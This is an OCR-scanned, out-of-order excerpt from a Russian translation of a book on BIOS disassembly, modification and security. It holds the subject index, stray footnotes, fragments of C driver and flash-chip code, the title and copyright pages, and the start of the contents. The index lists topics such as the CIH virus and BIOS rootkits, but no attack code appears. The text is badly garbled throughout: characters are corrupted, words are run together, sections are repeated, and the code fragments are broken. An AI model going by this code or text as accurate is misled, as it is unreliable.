POST 132,551,706
процедура, ход исполнения 290 таблица переходов 639
PowerNow! 745
Pre-boot execution environment 502
Programmable Attribute Map
Registers 618
Programmable interrupt controller 628
PXE Cm. pre-boot execution environment
R
RAID 15
RAM 17
параметры тактирования 10
энергонезависимая 10
RAM timing 10
RCBAR 30
RCRB Cm. root complex register block
Read-only memory 9
Real time clock 693
Realtek 8139 457
Realtek RTL8139 460
Remap Limit 19
Ring 0359
Ring 3 359
ROM Cm. read-only memory
Root complex register block 30, 142
Rootkit 527
RPL301.502
RSA 688
RST# 678
RTC 693
RTL8139 461
RTL8139 473
чтение и запись флэш-ROM 487
S
SBC 729
SCSI 15
Silicon Storage Technologies 622
Silicon Storage Technology 675
Single-board computer 729
SiS 29, 630 457
SMBIOS 498, 552, 737
Award BIOS 512
информация получения доступа 524
спецификация 498
структура, заголовок 503
структура, системный журнал
событий 504
структура, устройства
управления 509
структуры, типы 504
таблица структур 498
таблица структур, доступ 502
таблица структур, организация 503
таблица структур, точка входа 498
точка входа, таблица 499
SMM См. system management mode
SMRAM 97
Solaris 87
Soltek SL-865PE 550
Southbridge 17
Speedstep 745
SST 10, 622, 675
SST29EE010 614
SST49LF004B 675
STB
приставка 709
Sun Microsystems 497
Supermicro H8DAR-8 38
двоичный файл BIOS 47
System management mode 19
System Management RAM 97
System.bin 661
T
TBL# 678
TCG 684, 695, 743
TOLUD Cm. top of low usable DRAM
TOM Cm. top of memory
Top block lock 678
TPM 684, 695
Trusted Computing Group 684
Trusted Platform Module 684
TrustedCore 684, 743
TrustedCore Desktop 743
TrustedCore Embedded 743
TrustedCore Notebook 743
TrustedCore Server 743
TV set-top box 709
U
UEFI 2, 734
драйверы 739
загрузка 737
загрузочные сервисы 740
образы 739
предзагрузочная среда 738
приложения 739
системный раздел 738
UEFI-загрузчик операционной системы 736
Unicode 385, 540
Unified extensible firmware
interface 734
UNIX 453, 683
User mode 359
Winbond W29C020C614
Winbond W39V040FA 553, 675
Windows 5, 77, 359, 375, 385,453,460,
529, 563
Windows 2000 378, 566
Windows 9x 566
Windows API 381, 408
Windows CE 731,733
Windows DDK 378
Windows NT 566
Windows XP 378, 566, 623, 733
V
процесс загрузки 623
Vendor ID 417, 456
VGA 17 vi 369, 417,459
VIA 29
V-Link 29
WinFlash 694
WinRAR 36
WinZip 35
WMI524, 552, 681
уязвимости 527, 553
WP# 678
W
Write protect 678
WBEM 497, 680
для UNIX 497
Win32 498
Win32 API 4, 62
Winbond 10, 362, 366, 377, 440
Winbond 29C020C 620
X
x86 705
X-Bus 615
X-Bus Chip Select register 615
A
синтаксис AT&T 83
синтаксис Intel 83
Алгоритм:
LZH 133
LZH, заголовок первого уровня 165
LHA нулевого уровня 645
Лемпель-Зива 215, 696
скользящего окна 549
Хаффмана 215,696
Архиватор:
АТА 15
Атрибут
RE 104
WE 104
Атрибуты: установление 103
5
LHA 35
Архитектура АТСА 747
Ассемблер:
Базовая система ввода-вывода 9
Базовые адресные регистры 19
FASM 77, 82
FASMW 79, 263
GAS 83
NASM 77
Библиотека PCI
для Windows 451
Блок начальной загрузки BIOS 686
Блок регистров RCRB 142
В
Компилятор:
GCC83
Ввод-вывод:
ресурсы, использование 116
Вектор обработчика исключений 566
Вектор сброса 132, 140
Виртуальные машины 680
Вирус CIH 563, 565
анализ кода 601
компоненты 567
Внутрисхемные эмуляторы 36
Компиляция:
этапы 83
Контроллер ВМС 746
Контрольная сумма CMOS 675
Кэш дескриптора:
атрибуты прав доступа 126
Кэш как RAM 122, 128
Линия выборки чипа 463
д
М
Двоичная сигнатура 281 формирование 282
Дизассемблер 36
IDA Pro 262
ndisasm 79
Макрос:
ROM_CALL 122, 127
Малоизвестные порты 114
Маркер:
заголовка, -1Ь5- 35
заголовка, РК 36
3
заголовка, Rar! 36
Маршрутизатор 132
Затенение:
Juniper M7i 725
назначение 108
Затенение BIOS 100
Метка:
„start 88, 89
Микропрограммное
И
обеспечение 16, 132
Инициатива WBEM 496
Мост:
PCI-ISA 374
Инструкция:
call 121
retn 122
Инструментарий WMI 495, 497
Интерфейс
DMI100, 495
LPC 100, 145
SMBIOS 495, 497,498
PCI-PCI20
Superl/O, конфигурация 117
Н
Набор системной логики См. чипсет
Наследуемая видеопамять 97
Низкоуровневый доступ 502
К, Л
О
Киоски 1, 132
Клиент WBEM 497
Ключевое слово:
Область AGP или PCI 99
Область BIOS плат расширения 97
Область расширенной памяти 98, 99
ALIGN 91
Кольцо 0 359
Кльцо 3 359
Команды ICW1-ICW4 630
Область расширенной системной
BIOS 98
Область системной BIOS 98
Обработчик прерывания 13Ь625
Обработчик сообщений WM_CLOSE 73
Обратная разработка программного обеспечения 34
Объектный файл точка входа 88
Одноплатный компьютер 729
Основная системная память 98
Отладчики 36
П
Пакет запроса ввода-вывода 381
Память:
дыра 98
Переполнение буфера 431
Перераспределение адресов 103
Плата расширения
сетевая, AHA-2040U 315
сетевая, Adaptec AHA-2940U 314
сетевая, Realtek 8139А 313
Плоский двоичный файл 76
Пользовательский режим 359
Предзагрузочная среда
исполнения 502
Прерывание:
немаскируемое 628
Прерывания:
аппаратные 628
программные 628
Программируемый контроллер
прерываний 628
Проект Linux NTFS 625
Процесс S3-resume 694
Процессор:
z8O38
начало работы 96
Р
Рабочая группа DMTF 495
Распределение адресов 102
Регистр XBCS615
Регистр XROMBAR 303
бит доступа 304
биты, безразличные 303
Регистр обслуживаемого
прерывания 638
Регистр управления 304
Регистры:
BAR 118
BLR 448,553,674,677
MSR 693
MTRR 104,618,693
РАМ 103, 618
PCR 686
Регистры управления:
дешифровка 162
Режим SMM 97
Режим ядра 359
Руткит 451, 527
комбинированный 699
Руткит BIOS 565, 674
С
С4
Cbrom 640, 645
северный мост 17
Секции:
выравнивание 91
именование 91
определение 90
Секция:
базового сегмента стека 90
базового сегмента стека, определение 91
данных 90
данных только для чтения 90
данных только для чтения, определение 91
данных, определение 91
кода, определение 91
текстовая 89
Сигнатура - 1Ь0- 713
Сигнатура _SM_ 498
Системное адресное пространство 18
Системный таймер 628
Сканирование шины 455
Совмещение адресов 100, 114
Специальная группа по PCI 20
Список дескрипторов
памяти 413
Спящий режим S3 691
Среда исполнения 88
Схема распределения адресов 96
Сценарий компоновки 83, 84
формат 84
Ф
Файл:
BIOS, расширения ROM 38 crtO 88 make-файл 84 двоичный, плоский 34, 76 двоичный, сканирование 35
Т
формата РЕ 566 тегов 369
Таблица:
Флэш-ROM 10, 359
векторов прерываний 638
дескрипторов прерываний 566
Терминалы POS 729
Техническая документация:
Функция
CreateDialog 73
Функция Software Data Protection 621
применение 268
Технология АМТ 746
Точка входа 89
X
х86 2,3, 17,41,95,628
встроенные системы 705
У
Хаб FWH 162
Удаленный загрузчик программы 502
Уровень привилегий ввода-вывода 534
Устройства POS 1 атака 731
Утилита:
Ч
Часы реального времени 693
Чипсет 18
865РЕ 206
Intel 955X-ICH7 32
VIA693A 263
bios_probe 512 bios_probe,
поддержка SMBIOS 512 bios_probe, функция
dump_smbios_area 518 bios_probe, функция
parse_smbios_table 519 cbrom 263, 266, 267,269 flash_n_burn 363
modbin 263, 264, 266
objcopy 92
VIA693A, улучшение производительности 276 блок-схема 268 конфигурирование доступа к BIOS 117
начальная инициализация 156
регистры, установка 268 таблица системных адресов 268 шинный протокол 268
Ш, Ю
Утилиты:
binutils 83
набор, BNOBNTC 263
Шестнадцатеричные редакторы 36
Шина SMB511
Южный мост 17
2 Параметры тактирования RAM часто называют временными параметрами RAM. Однако первый термин технически является более точным.
основном, встраиваемые операционные системы.
шинных архитектур (с множественными образами), была в общих чертах рассмотрев3
в главе 7 (см. рис. 7.2).
3 Существует четыре разновидности чипа контроллера Ethernet Realtek 8139 -— ke^ tek 8139A, Realtek 8139B, Realtek 8139C и Realtek 8139D. Из них наиболее новым явЛЯ ется Realtek 8139D.
себя как BIOS сетевой карты расширения.
* Эти функции include необходимы для работы макроса CTL_CODE.
#ifndefINTERFACES_H
^define __INTERFACES_H
^define IOCTL_READ_PORT_BYTE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801, METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_READ_PORT_WORDCTL_CODE(FILE_DEVICE_UNKNOWN, 0x0802,
METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
define IOCTL_READ_PORT_LONGCTL_CODE(FILE_DEVICE_UNKNOWN, 0x0803,
METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
^define IOCTL_WRITE_PORT_BYTE
METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
* file; flash_rom.c
*/
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
struct flashchip flashchips[] = {
// Часть элементов опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
("W49F002U", WINBOND_ID, W_49F002U, NULL, 256, 128, probe_49f002, erase_49f002, write_49f002, NULL, NULL}, {"W39V040FA", WINBOND_ID, W_39V040FA, NULL, 512, 4096, /* Задание: Обеспечить правильный размер сектора. */
probe_39v040fa, erase_39v040fa, write_39v040fa, NULL, NULL},
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
(NULL,}
};
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
int main (int argc, char * argv[])
31 пространстве устройства.
егистр ioar является первым регистром BAR, расположенным по смещение 10h.
6 Более подробную информацию см. по адресу
http://www.beyondIogic.Org/interrupts/interrupt.htm#2.
2 DSL (digital subscriber line) — цифровая абонентская линия.
elift
Scanned by MAXXZ, [x]2009
Дармаван Салихан
ИР([ВГРА61#111Й1М^^
Санкт-Петербург«БХВ-Петербург»2007
УДК 681.3.06
ББК 32.973.26
С16
Салихан Д. М.
С16 BIOS: дизассемблирование, модификация, программирование: Пер. с англ. — СПб.: БХВ-Петербург, 2007. — 784 с.: ил. + CD-ROM
ISBN 978-5-9775-0050-0
Книга посвящена аспектам дизассемблирования кода BIOS материнской платы и BIOS плат расширения. На практических примерах рассматриваются вопросы разработки специализированного кода BIOS и методы его внедрения в двоичные файлы BIOS, а также необходимый для этого инструментарий. Подробно описаны все аспекты реализации BIOS материнской платы и BIOS плат расширения, в том числе и новейшие шинные протоколы HyperTransport и PCI Express. Особое внимание уделено безопасности BIOS, в том числе методам эксплуатации уязвимостей и защите BIOS от несанкционированных модификаций. Освещаются вопросы разработки кода для встроенных систем х86. Дается обзор дальнейших перспектив развития технологий BIOS. Прилагаемый диск содержит примеры исходного кода, фрагменты дизассемблированных листингов, а также все иллюстрации, приведенные в книге.
Для системных программистов и специалистов в области компьютерной безопасности
УДК 681.3.06
ББК 32.973.26
Authorized translation from the English language edition, entitled BIOS Disassembly Ninjutsu Uncovered, ISBN 978-1-931769-600, by Darmawan Mappatutu Salihun, published by A-LIST, LLC, Copyright © 2007 by A-LIST, LLC. All rights reserved. No part of this publication may be reproduced in any way, stored in a retrieval system of any type, or transmitted by any means or media, electronic or mechanical, including, but not limited to, photocopying, recording, or scanning, without prior permission in writing from the publisher. Russian language edition published by BHV—St. Petersburg, Copyright © 2007.
Авторизованный перевод английской редакции, выпущенной A-LIST, LLC, Copyright © 2007. Все права защищены. Никакая часть настоящей книги не может быть воспроизведена или передана в какой бы то ни было форме и какими бы то ии было средствами, будь то электронные или механические, включая фотокопирование, запись на магнитный носитель или сканирование, если на то нет письменного разрешения издателя. Перевод на русский язык "БХВ-Петербург”, © 2007.
Группа подготовки издания:
Главный редактор Зам. главного редактора Зав. редакцией Перевод с английского Редактор Компьютерная верстка Корректор Дизайн обложки Оформление обложки Зав. производствомГлавный редактор Зам. главного редактора Зав. редакцией Перевод с английского Редактор Компьютерная верстка Корректор Дизайн обложки Оформление обложки Зав. производствомЕкатерина Кондукова Игорь Шишигин Григорий Добин Сергея Таранушенко Ольга Кокорева Натальи Караваевой Виктория Пиотровская Инны Таниной Елены Беляевой Николай ТверскихЕкатерина Кондукова Игорь Шишигин Григорий Добин Сергея Таранушенко Ольга Кокорева Натальи Караваевой Виктория Пиотровская Инны Таниной Елены Беляевой Николай Тверских
Главный редактор Зам. главного редактора Зав. редакцией Перевод с английского Редактор Компьютерная верстка Корректор Дизайн обложки Оформление обложки Зав. производством
Главный редактор Зам. главного редактора Зав. редакцией Перевод с английского Редактор Компьютерная верстка Корректор Дизайн обложки Оформление обложки Зав. производством
Екатерина Кондукова Игорь Шишигин Григорий Добин Сергея Таранушенко Ольга Кокорева Натальи Караваевой Виктория Пиотровская Инны Таниной Елены Беляевой Николай Тверских
Екатерина Кондукова Игорь Шишигин Григорий Добин Сергея Таранушенко Ольга Кокорева Натальи Караваевой Виктория Пиотровская Инны Таниной Елены Беляевой Николай Тверских
Лицензия ИД № 02429 от 24.07.00. Подписано в печать 30.06.07.
Формат 70х100*/16. Печать офсетиая Усл. печ. л. 63,21.
Тираж 2000 экз. Заказ № 1387
"БХВ-Петербург", 194354, Санкт-Петербург, ул. Есенина, 5Б.
Санитарно-эпидемиологическое заключение на продукцию№ 77.99.02.953.Д.006421.11.04 от 11.11.2004 г. выдано Федеральной службойпо надзору в сфере защиты прав потребителей и благополучия человека.
Отпечатано с готовых диапозитивовв ГУП "Типография "Наука"199034, Санкт-Петербург, 9 линия, 12
ISBN 978-1-931769-60-0 (англ) ISBN 978-5-9775-0050-0 (рус)ISBN 978-1-931769-60-0 (англ) ISBN 978-5-9775-0050-0 (рус)© 2007. A-LIST, LLC
ISBN 978-1-931769-60-0 (англ) ISBN 978-5-9775-0050-0 (рус)
ISBN 978-1-931769-60-0 (англ) ISBN 978-5-9775-0050-0 (рус)
© Перевод на русский язык "БХВ-Петербург", 2007
Оглавление
Введение1
Для кого предназначена эта книга3
Организация книги4
Совместимость программных средств разработки5